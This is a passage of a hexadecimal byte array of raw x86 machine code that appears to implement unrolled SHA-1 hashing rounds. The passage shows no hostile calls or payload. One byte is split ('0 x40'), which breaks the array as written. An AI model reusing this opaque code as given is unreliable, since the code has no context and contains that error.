0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x10, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x14, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x18, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x1C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x20, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x24, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xBE, 0xA1, 0xEB, 0xD9, 0x6E, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x28, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x2C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x30, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x34, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x38, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x3C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x40, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x44, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x48, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x4C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x50, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x54, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x58, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x5C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x60, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x64, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x68, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x6C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x70, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x74, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xBE, 0xDC, 0xBC, 0x1B, 0x8F, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x78, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x7C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x80, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x84, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x88, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0 x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 